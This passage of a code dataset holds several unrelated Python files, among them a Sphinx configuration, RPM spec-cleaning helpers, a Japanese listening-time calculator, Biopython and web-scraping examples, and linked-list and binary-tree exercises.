)\n print()\n\n # ユーザーには日本語聴解時間平均を入力して貰う。\n avg_hours = int( input( \"ほぼ毎日は日本語を何時間聴きますか? \" ) )\n\n # 「日本語の聴解時間が一万時間で何ヶ月掛かるのか」という方式の定義。\n months_taken = str( ( 10000 // avg_hours ) // ( 30 ) )\n print()\n create_boarder( title )\n print()\n print()\n\n # 「months_taken」の数字(文字配列)をリストで漢字にする検索置換操作。\n months_in_kanji = [ [ \"◯\", \"一\", \"二\", \"三\", \"四\", \"五\", \"六\", \\\n \"七\", \"八\", \"九\" ], [ \"◯\", \"一\", \"二\", \"三\", \\\n \"四\", \"五\", \"六\", \"七\", \"八\", \"九\" ], [ \"十\" ] ]\n if len( months_taken ) == 2:\n if months_taken[ 0 ] == \"1\":\n kanji_month = months_in_kanji[ 2 ][ 0 ] + \\\n months_in_kanji[ 1 ][ int( months_taken[ 1 ] ) ]\n else: \n kanji_month = months_in_kanji[ 0 ][ int( months_taken[ 0 ] ) ] + \\\n months_in_kanji[ 2 ][ 0 ] + \\\n months_in_kanji[ 1 ][ int( months_taken[ 1 ] ) ] \n \n # 「……何ヶ月掛かるのか」を示す。\n print( \"日本語を一万時間聴く事は\" + str( kanji_month ) + \\\n \"ヶ月掛かります。\" )\n\n\n# タイトルの枠を作る関数の定義\ndef create_boarder( string ):\n index = 0\n while index < len( string ):\n print( \"※\", end='' )\n index += 1\n \nmain()\n","sub_path":"ichiman.py","file_name":"ichiman.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"449245970","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# jsonica documentation build configuration file, created by\n# sphinx-quickstart on Sun Jan 14 10:36:50 2018.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\n# needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = ['sphinx.ext.autodoc',\n 'sphinx.ext.todo',\n 'sphinx.ext.viewcode']\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\nsource_suffix = ['.rst']\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'jsonica'\nauthor = 'setminami'\ncopyright = '2018, %s'%author\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '0.0.9'\n# The full version, including alpha/beta/rc tags.\nrelease = '0.1.0'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = 'en'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This patterns also effect to html_static_path and html_extra_path\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = True\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = 'sphinx_rtd_theme'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#\n# html_theme_options = {}\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Custom sidebar templates, must be a dictionary that maps document names\n# to template names.\n#\n# This is required for the alabaster theme\n# refs: http://alabaster.readthedocs.io/en/latest/installation.html#sidebars\nhtml_sidebars = {\n '**': [\n 'relations.html', # needs 'show_related': True theme option to display\n 'searchbox.html',\n ]\n}\n\n# -- Options for HTMLHelp output ------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'jsonicadoc'\n\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n # The paper size ('letterpaper' or 'a4paper').\n #\n # 'papersize': 'letterpaper',\n\n # The font size ('10pt', '11pt' or '12pt').\n #\n # 'pointsize': '10pt',\n\n # Additional stuff for the LaTeX preamble.\n #\n # 'preamble': '',\n\n # Latex figure (float) alignment\n #\n # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n (master_doc, 'jsonica.tex', 'jsonica Documentation',\n 'Author', 'manual'),\n]\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'jsonica', 'jsonica Documentation',\n [author], 1)\n]\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'jsonica', 'jsonica Documentation',\n author, 'jsonica', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n\n\n# -- Options for Epub output ----------------------------------------------\n\n# Bibliographic Dublin Core info.\nepub_title = project\nepub_author = author\nepub_publisher = author\nepub_copyright = copyright\n\n# The unique identifier of the text. This can be a ISBN number\n# or the project homepage.\n#\n# epub_identifier = ''\n\n# A unique identification for the text.\n#\n# epub_uid = ''\n\n# A list of files that should not be packed into the epub file.\nepub_exclude_files = ['search.html']\n\nimport sys, subprocess\nfrom os.path import join, isdir, dirname, abspath\nfrom shutil import move, rmtree\n\nROOT = abspath(dirname(dirname(__file__)))\nSRC_HOME = join(ROOT, project)\ncur_dir = abspath(dirname(__file__))\n\n# statics\ni_gens = '.'\ntmpfile = (join(cur_dir, '.tmp.rst'), join(cur_dir, 'index.rst'))\n\n# workaround index see.\n# https://github.com/rtfd/readthedocs.org/issues/1139\ndef __pre_doc():\n # OPTIMIZE: 必要であればyield\n sys.path.insert(0, SRC_HOME)\n # apidoc生成に必要なファイル、index.rstを残すとgithubpagesに影響を与える?\n move(tmpfile[0], tmpfile[1])\n\ndef __post_doc(app, exception):\n print('^'*50)\n # NOTE: 例外時は環境を元に戻す\n try:\n html_dir = join(join(cur_dir, '_build'), 'html')\n if isdir(html_dir): # for githubpages\n sphinx_site = 'apidoc'\n if isdir(sphinx_site):\n rmtree(sphinx_site)\n rmtree(i_gens)\n # TODO: ここへのリンクをREADME.md, README_ja.mdに記述\n move(html_dir, sphinx_site)\n finally:\n # NOTE: readthedocsでは、buildが何度も回るため元の状態に戻す\n move(tmpfile[1], tmpfile[0])\n print('^'*50)\n\ndef run_apidoc(_):\n print('X'*60)\n src_base = SRC_HOME\n sys.path.insert(0, SRC_HOME)\n for module in ['sub_command_core', '.']:\n output_path = join(cur_dir, i_gens)\n input_path = join(src_base, module)\n cmd_path = 'sphinx-apidoc'\n if hasattr(sys, 'real_prefix'): # Check to see if we are in a virtualenv\n # If we are, assemble the path manually\n cmd_path = abspath(join(sys.prefix, 'bin', cmd_path))\n cmd = [cmd_path, '-efP', '-d', '0', '-o', output_path, input_path]\n subprocess.check_call(cmd)\n print('X'*60)\n\n# http://www.sphinx-doc.org/en/stable/extdev/appapi.html#sphinx-core-events\ndef setup(app):\n print('*'*60)\n app.connect('builder-inited', run_apidoc)\n # app.connect('build-finished', __post_doc)\n print('*'*60)\n","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":7439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"586205654","text":"# vim: set ts=4 sw=4 et: coding=UTF-8\n\nimport re\nimport os\n\nfrom .fileutils import FileUtils\n\nLICENSES_CHANGES = 'licenses_changes.txt'\nTEX_CONVERSIONS = 'tex_conversions.txt'\nPKGCONFIG_CONVERSIONS = 'pkgconfig_conversions.txt'\nPERL_CONVERSIONS = 'perl_conversions.txt'\nCMAKE_CONVERSIONS = 'cmake_conversions.txt'\nGROUPS_LIST = 'allowed_groups.txt'\nBRACKETING_EXCLUDES = 'excludes-bracketing.txt'\n\n\ndef parse_rpm_showrc():\n macros = []\n\n re_rc_macrofunc = re.compile(r'^-[0-9]+[:=]\\s(\\w+)\\(.*')\n output = os.popen('rpm --showrc')\n for line in output:\n line = line.rstrip('\\n')\n found_macro = re_rc_macrofunc.sub(r'\\1', line)\n if found_macro != line:\n macros += [found_macro]\n output.close()\n return macros\n\n\ndef load_keywords_whitelist():\n keywords = []\n\n files = FileUtils()\n files.open_datafile(BRACKETING_EXCLUDES)\n for line in files.f:\n keywords.append(line.rstrip('\\n'))\n files.close()\n\n return keywords\n\n\ndef find_macros_with_arg(spec):\n macrofuncs = []\n\n re_spec_macrofunc = re.compile(r'^\\s*%define\\s(\\w+)\\(.*')\n files = FileUtils()\n files.open(spec, 'r')\n for line in files.f:\n line = line.rstrip('\\n')\n found_macro = re_spec_macrofunc.sub(r'\\1', line)\n if found_macro != line:\n macrofuncs += [found_macro]\n files.close()\n return macrofuncs\n\n\ndef read_conversion_changes(conversion_file):\n conversions = {}\n\n files = FileUtils()\n files.open_datafile(conversion_file)\n for line in files.f:\n # the values are split by ': '\n pair = line.split(': ')\n conversions[pair[0]] = pair[1][:-1]\n files.close()\n return conversions\n\n\ndef read_tex_changes():\n return read_conversion_changes(TEX_CONVERSIONS)\n\n\ndef read_pkgconfig_changes():\n return read_conversion_changes(PKGCONFIG_CONVERSIONS)\n\n\ndef read_perl_changes():\n return read_conversion_changes(PERL_CONVERSIONS)\n\n\ndef read_cmake_changes():\n return read_conversion_changes(CMAKE_CONVERSIONS)\n\n\ndef read_licenses_changes():\n licenses = {}\n\n files = FileUtils()\n files.open_datafile(LICENSES_CHANGES)\n # Header starts with # first line so skip\n next(files.f)\n for line in files.f:\n # strip newline\n line = line.rstrip('\\n')\n # file has format\n # correct license stringknown bad license string\n # tab is used as separator\n pair = line.split('\\t')\n licenses[pair[1]] = pair[0]\n files.close()\n return licenses\n\n\ndef read_group_changes():\n groups = []\n\n files = FileUtils()\n files.open_datafile(GROUPS_LIST)\n # header starts with link where we find the groups\n next(files.f)\n for line in files.f:\n line = line.rstrip('\\n')\n groups.append(line)\n files.close()\n return groups\n\n\ndef sort_uniq(seq):\n def _check_list(x):\n if isinstance(x, list):\n return True\n else:\n return False\n\n seen = {}\n result = []\n for item in seq:\n marker = item\n # We can have list there with comment\n # So if list found just grab latest in the sublist\n if _check_list(marker):\n marker = marker[-1]\n if marker in seen:\n # Not a list, no comment to preserve\n if not _check_list(item):\n continue\n # Here we need to preserve comment content\n # As the list is already sorted we can count on it to be\n # seen in previous run.\n # match the current and then based on wether the previous\n # value is a list we append or convert to list entirely\n prev = result[-1]\n if _check_list(prev):\n # Remove last line of the appending\n # list which is the actual dupe value\n item.pop()\n # Remove it from orginal\n prev.pop()\n # join together\n prev += item\n # append the value back\n prev.append(marker)\n result[-1] = prev\n else:\n # Easy as there was no list\n # just replace it with our value\n result[-1] = item\n continue\n seen[marker] = 1\n result.append(item)\n return result\n","sub_path":"spec_cleaner/rpmhelpers.py","file_name":"rpmhelpers.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"284645690","text":"# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def kthSmallest(self, root, k) :\n self.k = k\n self.temp = []\n def search(tnode):\n if not tnode:\n return\n search(tnode.left)\n self.temp.append(tnode.val)\n search(tnode.right)\n search(root)\n print(self.temp)\n\ndef main():\n test = Solution()\n a = TreeNode(3)\n a.left = TreeNode(1)\n a.right = TreeNode(4)\n b = a.left\n b.right = TreeNode(2)\n test.kthSmallest(a,1)\n\nif __name__ == '__main__':\n main()","sub_path":"tencent50/280_kthSmallest.py","file_name":"280_kthSmallest.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"249864595","text":"# -*- coding:utf-8 -*-\nimport simplejson\nfrom django.http import HttpResponse\nfrom vozdushnaya import models\nfrom django.forms.models import model_to_dict\nfrom constructor.models import ImageFieldEncoder\n\ndef sections(request):\n answer = []\n if request.GET.get('sections',None) is not None:\n answer = models.Section.objects.all()\n if request.GET.get('flats',None) is not None:\n section = request.GET.get('section','0')\n _id = 0\n try:\n _id = int(section)\n except:\n pass\n answer = models.Flat.objects.filter(section_id=_id).order_by('floor')\n return HttpResponse(simplejson\n .dumps([model_to_dict(m) for m in answer],\n cls=ImageFieldEncoder),status=200,content_type=\"application/json\")\n\n\n","sub_path":"src/vozdushnaya/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"437946085","text":"from Bio import Entrez\nfrom Bio import SeqIO\nEntrez.email = \"A.N.Other@example.com\"\nhandle = Entrez.efetch(db=\"nucleotide\", rettype=\"fasta\", retmode=\"text\", id=\"6273291\")\nseq_record = SeqIO.read(handle, \"fasta\")\nhandle.close()\nprint(\"%s with %i features\" % (seq_record.id, len(seq_record.features)))\n\n\nfrom Bio import Entrez\nfrom Bio import SeqIO\nEntrez.email = \"A.N.Other@example.com\"\nhandle = Entrez.efetch(db=\"nucleotide\", rettype=\"gb\", retmode=\"text\", id=\"6273291\")\nseq_record = SeqIO.read(handle, \"gb\") #using \"gb\" as an alias for \"genbank\"\nhandle.close()\nprint(\"%s with %i features\" % (seq_record.id, len(seq_record.features)))\n\n\nfrom Bio import ExPASy\nfrom Bio import SeqIO\nhandle = ExPASy.get_sprot_raw(\"O23727\")\nseq_record = SeqIO.read(handle, \"swiss\")\nhandle.close()\nprint(seq_record.id)\nprint(seq_record.name)\nprint(seq_record.description)\nprint(repr(seq_record.seq))\nprint(\"Length %i\" % len(seq_record))\nprint(seq_record.annotations[\"keywords\"])\n\n\n\n\n","sub_path":"BioPythonFolder/5_3_ParsingSequencesNet.py","file_name":"5_3_ParsingSequencesNet.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"541974538","text":"#!/usr/bin/env python3\n\n#https://codeforces.com/problemset/problem/157/B\n\n\nfrom math import pi\nn = int(input())\ntl = list(map(int,input().split()))\ntl.sort()\nprint(pi*sum([((-1)**((n-i-1)%2))*(tl[i]**2) for i in range(n)]))\n","sub_path":"codeforces/geometry计算几何/1000/157B同心圆面积.py","file_name":"157B同心圆面积.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"188491415","text":"import time\n\nfrom gtts import gTTS\nfrom pygame import mixer\n\nWARNING = 'Watch out!'\nPAUSE = ' '\nAHEAD = 'ahead'\nLEFT = 'to the left'\nRIGHT = 'to the right'\n\n\nclass Speaker(object):\n \"\"\" A basic speaker for relaying navigational instructions to user.\"\"\"\n def __init__(self):\n mixer.init()\n\n def say_direction(self, direction_text):\n # Make the sound.\n tts = gTTS(text=direction_text, lang='en')\n tts.save('talk_output.mp3')\n\n # Play the sound.\n mixer.music.load('talk_output.mp3')\n mixer.music.play()\n\n \n\nif __name__ == '__main__':\n speaker = Speaker()\n\n speaker.say_direction(WARNING + PAUSE + ' there is an object ' + AHEAD)\n\n time.sleep(1) # Pause a bit.\n speaker.say_direction(WARNING + PAUSE + ' there is an object ' + RIGHT)\n","sub_path":"projects/democv/speak_directions.py","file_name":"speak_directions.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"498494466","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[6]:\n\n\nfrom icalendar import Calendar, Event\nfrom urllib.request import urlopen \nimport urllib.request \nimport requests\nfrom bs4 import BeautifulSoup\nimport ssl \nfrom datetime import datetime\nfrom sqlalchemy import create_engine, Column, String, Integer, MetaData\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\n\n# In[7]:\n\n\n#init connection to sqlite \nengine = create_engine(\"sqlite:///events.db\")\n#create session to cache commands for sqlite engine instance\nSession = sessionmaker(bind = engine)\nsession = Session()\n\n#provide table definition\nBase = declarative_base()\n\nclass Event(Base):\n __tablename__ = 'event'\n id = Column('id',Integer, primary_key = True)\n district = Column(Integer)\n title = Column(String(100))\n date = Column(String(50))\n details = Column(String(1000))\n time = Column(String(50))\n\n def __init__(self, title, date, details,time,district):\n self.title = title\n self.date = date\n self.details = details\n self.time = time\n self.district = district\n \n #for print \n def __repr__(self):\n return f'{self.title} - {self.date}: {self.time}\\n {self.details}'\n\n\n# In[10]:\n\n\ndef CB12(ical,session):\n context = ssl._create_unverified_context()\n user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7'\n hdr={'User-Agent':user_agent,} \n req=urllib.request.Request(ical,None,hdr)\n response = urllib.request.urlopen(req,context = context).read() \n cal = Calendar.from_ical(response)\n events_dict = {}\n #iterrate through events in cal with new events from each 'vevent' \n #add time,date, title and details to events_dict\n for i, event in enumerate(cal.walk('vevent')):\n date = event.get('dtstart')\n try:\n time = date.dt.hour\n if(date.dt.hour > 12):\n time = time - 12 \n time = str(time)+ \":\"+str(date.dt.minute).zfill(2)+\" PM\"\n else:\n time = str(time)+ \":\"+str(date.dt.minute).zfill(2)+\" AM\"\n except:\n continue\n location = event.get('location')\n topic = event.get('summary')\n description = event.get('DESCRIPTION')\n\n events_dict[i] = {\n 'date': str(date.dt.month) + \"/\"+ str(date.dt.day),\n 'time': time,\n 'topic': str(topic).strip(), \n 'location': str(location),\n 'description': str(description).replace('\\n',' ').replace('\\xa0',' ').strip()\n }\n districtNumber = 112\n #remove previous entries\n session.query(Event).filter(Event.district == districtNumber).delete()\n session.commit()\n\n #add events_dict items to database\n for event in events_dict.values():\n row = Event(title=event['topic'], date=event['date'],\n details= f'Location: {event[\"location\"]}\\n{event[\"description\"]}',\n time=event['time'], district= districtNumber)\n session.add(row)\n session.commit()\n\n\n# In[12]:\n\n\nCB12('https://cbmanhattan.cityofnewyork.us/cb12/calendar/?ical=1',session)\n\n\n# In[13]:\n\n\n#print all users\nfor event in session.query(Event).filter(Event.district == 112):\n print(event,'\\n\\n')\n\n","sub_path":"CB12.py","file_name":"CB12.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"528880394","text":"def person_data(dictionary):\n for key, val in dictionary.items():\n print(f'Name {key} and I am {val} years old')\n\nperson = {}\n\nwhile True:\n name = input('What is your name? ')\n age = input('Whow old are you? ')\n person[name] = name\n person[age] = age\n\n another_name = input('Want to enter your second name? (Y/N) ')\n if another_name == 'Y':\n continue\n else:\n break\n \nperson_data(person)","sub_path":"dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"26976521","text":"import json, sys, re\nimport urllib.request\nfrom time import sleep\nfrom bs4 import BeautifulSoup\n\n\ndef getDetailInfo(soup):\n # 詳細情報\n detailInfo = soup.find(\"div\", class_=\"innerDate\").find_all(\"dl\")\n info = dict()\n info[\"prevClosingPrice\"] = float(detailInfo[0].dd.strong.text)\n info[\"openingPrice\"] = float(detailInfo[1].dd.strong.text)\n info[\"highPrice\"] = float(detailInfo[2].dd.strong.text)\n info[\"lowPrice\"] = float(detailInfo[3].dd.strong.text)\n info[\"tradeVolume\"] = float(detailInfo[4].dd.strong.text)\n info[\"tradingvalue\"] = float(detailInfo[5].dd.strong.text)\n valueRange = detailInfo[6].dd.strong.text.split('~')\n info[\"minValueRange\"] = float(valueRange[0])\n info[\"maxValueRange\"] = float(valueRange[1])\n\n return info\n\ndef getReferenceIndex(soup):\n # 銘柄毎の株価情報\n referenceIndex = soup.find(\"div\", id=\"rfindex\")\n if referenceIndex:\n # id=rfindex の参考指標がある場合、株式会社の銘柄と判断\n referenceIndex = referenceIndex.find_all(\"dl\")\n\n # \"(連) \"が先頭に付いている項目があるため、削除するための正規表現\n pattern = '^.+?(?=\\d)'\n\n info = dict()\n info[\"marketCapitalization\"] = float(referenceIndex[0].dd.strong.text)\n info[\"commonSharesOutstanding\"] = float(referenceIndex[1].dd.strong.text)\n info[\"dividendYield\"] = float(referenceIndex[2].dd.strong.text)\n info[\"dividendPerShare\"] = float(referenceIndex[3].dd.strong.a.text)\n info[\"priceEarningsRatio\"] = float(re.sub(pattern, '', referenceIndex[4].dd.strong.text))\n info[\"priceBookvalueRatio\"] = float(re.sub(pattern, '', referenceIndex[5].dd.strong.text))\n info[\"earningsPerShare\"] = float(re.sub(pattern, '', referenceIndex[6].dd.strong.a.text))\n info[\"bookvaluePerShare\"] = float(re.sub(pattern, '', referenceIndex[7].dd.strong.a.text))\n info[\"minPurchaseValue\"] = float(referenceIndex[8].dd.strong.text)\n info[\"shareUnitNumber\"] = float(referenceIndex[9].dd.strong.text)\n info[\"yearToDateHigh\"] = float(referenceIndex[10].dd.strong.text)\n info[\"yearToDateLow\"] = float(referenceIndex[11].dd.strong.text)\n\n return info\n else:\n # 上記以外の場合、投資信託の銘柄と判断\n referenceIndex = soup.find(\"div\", class_=\"main2colR clearFix\").find_all(\"dl\")\n\n # \"YYYY年m月d日\"形式の日付を\"YYYYmmdd\"形式に変換するための正規表現\n pattern = '(?<=年|月)(?=\\d(?:月|日))'\n\n info = dict()\n info[\"netAsset\"] = float(referenceIndex[0].dd.strong.text)\n info[\"minPurchaseValue\"] = float(referenceIndex[1].dd.strong.text)\n info[\"tradingUnit\"] = float(referenceIndex[2].dd.strong.text)\n info[\"yearToDateHigh\"] = float(referenceIndex[3].dd.strong.text)\n info[\"yearToDateLow\"] = float(referenceIndex[4].dd.strong.text)\n info[\"managementCompany\"] = referenceIndex[5].dd.strong.text\n info[\"investmentAsset\"] = referenceIndex[6].dd.strong.text\n info[\"investmentArea\"] = referenceIndex[7].dd.strong.text\n info[\"interlockTarget\"] = referenceIndex[8].dd.strong.text\n info[\"accountingCount\"] = int(referenceIndex[9].dd.strong.text)\n info[\"accountingMonth\"] = int(referenceIndex[10].dd.strong.text)\n info[\"listedDate\"] = re.sub('年|月|日', '', re.sub(pattern, '0', referenceIndex[11].dd.strong.text))\n info[\"custodianFee\"] = float(referenceIndex[12].dd.strong.text[:-1])\n\n return info\n\nargs = sys.argv\nif not len(args) == 3:\n # クエリパラメータが2つない場合は処理終了\n sys.exit(0)\n\n# Yahoo financeのURL\nurl = \"https://stocks.finance.yahoo.co.jp/stocks/detail/\"\n# URLにアクセスしてhtmlを取得\nhtml = urllib.request.urlopen(url + \"?code=\" + args[1] + \".\" + args[2])\n# 価格が3桁毎に\",\"区切りになっているため削除\nhtml = re.sub('(?<=\\d),(?=\\d)', '', html.read().decode('utf-8'))\n\n# htmlをBeautifulSoupで扱う\nsoup = BeautifulSoup(html, \"html.parser\")\n\n# 詳細情報を取得\ndetailInfo = getDetailInfo(soup)\n# 参考指標を取得\nreferenceIndex = getReferenceIndex(soup)\nprint(json.dumps({'detailInfo': detailInfo, 'referenceIndex': referenceIndex}))\n","sub_path":"appolo/detailScraper.py","file_name":"detailScraper.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"596746017","text":"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\ndef insertAtStart(value, head):\n newNode = Node(value)\n newNode.next = head\n head = newNode\n return head\n\ndef insertAfterValue(insertValue, value, head):\n current = head\n if current.data is value:\n head = current.next\n return head\n while current.data is not insertValue:\n current = current.next\n if current is not None:\n newNode = Node(value)\n newNode.next = current.next\n current.next = newNode\n return head\n\ndef swapNodes(x, y, head):\n current = head\n previous = None\n node1 = None\n node1Previous = None\n node2 = None\n node2Previous = None\n while current is not None:\n if current.data == x :\n node1 = current\n node1Previous = previous\n if current.data == y :\n node2 = current\n node2Previous = previous\n previous = current\n current = current.next\n\n node1Previous.next = node2\n node2Previous.next = node1\n temp = node1.next\n node1.next = node2.next\n node2.next = temp\n return head\n\n\ndef deleteNodeAtValue(value, head):\n current = head\n previous = head\n if head.data is value:\n head = head.next\n return head\n while current.data is not value:\n previous = current\n current = current.next\n if current is None:\n break\n if current is not None:\n previous.next = current.next\n return head\n\n\nif __name__ == '__main__':\n node1 = Node(10)\n node2 = Node(20)\n node3 = Node(30)\n node1.next = node2\n node2.next = node3\n head = node1\n # Print initial list\n print(\"Initial List\")\n current = head\n while current is not None:\n print(current.data)\n current = current.next\n\n head = insertAtStart(5, head)\n # Print after insert at head\n print(\"Insert at start\")\n current = head\n while current is not None:\n print(current.data)\n current = current.next\n\n head = insertAfterValue(10, 15, head)\n print(\"Insert after value\")\n current = head\n while current is not None:\n print(current.data)\n current = current.next\n\n head = swapNodes(10, 20, head)\n print(\"Swap value 10 and 20\")\n current = head\n while current is not None:\n print(current.data)\n current = current.next\n\n head = deleteNodeAtValue(10, head)\n print(\"Delete node after value\")\n current = head\n while current is not None:\n print(current.data)\n current = current.next\n\n","sub_path":"LinkedList/linked_list_traversal.py","file_name":"linked_list_traversal.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"548524727","text":"from django.contrib import admin\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom ..services import get_current_owner_names_for_email\n\n__all__ = [\"EMailAdmin\"]\n\n\nclass EMailAdmin(admin.ModelAdmin):\n def people(self):\n return get_current_owner_names_for_email(self) or \"-\"\n people.short_description = _(\"People\")\n\n list_display = [\"address\", people]\n list_per_page = 200\n search_field = [\"address\"]\n","sub_path":"src/apps/contacts/admin/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"118828536","text":"# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \n Nothing special, first push every number in l1 and l2 into stack and then perform samething as addTwoNumbersI, but adding nodes to the front \n \"\"\"\n stack1 = []\n stack2 = []\n \n while l1 != None: \n stack1.append(l1.val)\n l1 = l1.next\n \n while l2 != None: \n # Note we use 2 stack here, if we (may not be able to) use recursion\n # we need to two recursion as well\n stack2.append(l2.val)\n l2 = l2.next\n \n currNode = None \n carry = 0\n while len(stack1) > 0 or len(stack2) > 0:\n currSum = carry\n currSum += stack1.pop() if len(stack1) > 0 else 0\n currSum += stack2.pop() if len(stack2) > 0 else 0\n \n carry = 0\n if currSum >= 10:\n carry = currSum // 10\n currSum = currSum % 10\n \n # here is different\n # we push_left to the linked list\n # instead of pushing right in addTwoNumbersI\n newNode = ListNode(currSum)\n newNode.next = currNode\n currNode = newNode\n \n if carry > 0:\n newNode = ListNode(carry)\n newNode.next = currNode\n currNode = newNode\n \n return currNode\n ","sub_path":"leetcode/linkedList/2_addTwoNumberII.py","file_name":"2_addTwoNumberII.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"611708653","text":"# create a function. the function takes a list of names as an input/parameter. returns a new list with only the names that start with the letter 'a'\n\ndef returns_a_names(input_list):\n return_list = []\n \n for name in input_list:\n if name[0] == 'a':\n return_list.append(name)\n \n return return_list\n\nif __name__ == '__main__':\n list_a = ['young', 'alex']\n list_b = ['abe', 'brad']\n \n assert returns_a_names(list_a) == ['alex']\n assert returns_a_names(list_b) == ['abe']\n","sub_path":"code_sample/prac-11.py","file_name":"prac-11.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"169224700","text":"\nfrom flask import Flask, jsonify, request\nimport extractproducts\nimport json\nfrom celery import Celery\n\n\n\n\n\napp = Flask(__name__)\napp.config.update(\n CELERY_BROKER_URL='redis://',\n CELERY_RESULT_BACKEND='redis://'\n)\n\ndef make_celery(app):\n celery = Celery(app.import_name, backend=app.config['CELERY_RESULT_BACKEND'],\n broker=app.config['CELERY_BROKER_URL'])\n celery.conf.update(app.config)\n TaskBase = celery.Task\n class ContextTask(TaskBase):\n abstract = True\n def __call__(self, *args, **kwargs):\n with app.app_context():\n return TaskBase.__call__(self, *args, **kwargs)\n celery.Task = ContextTask\n return celery\n\ncelery = make_celery(app)\n\n@celery.task(name=\"celerytasks.cpu\")\ndef cpu():\n a = extractproducts.Shopv(\n 'http://www.skytech.lt/procesoriai-stac-komp-procesoriai-desktop-cpu-c-86_85_182_584.html?sand=0&pav=0&sort=5a&grp=1')\n return json.dumps([ob.__dict__ for 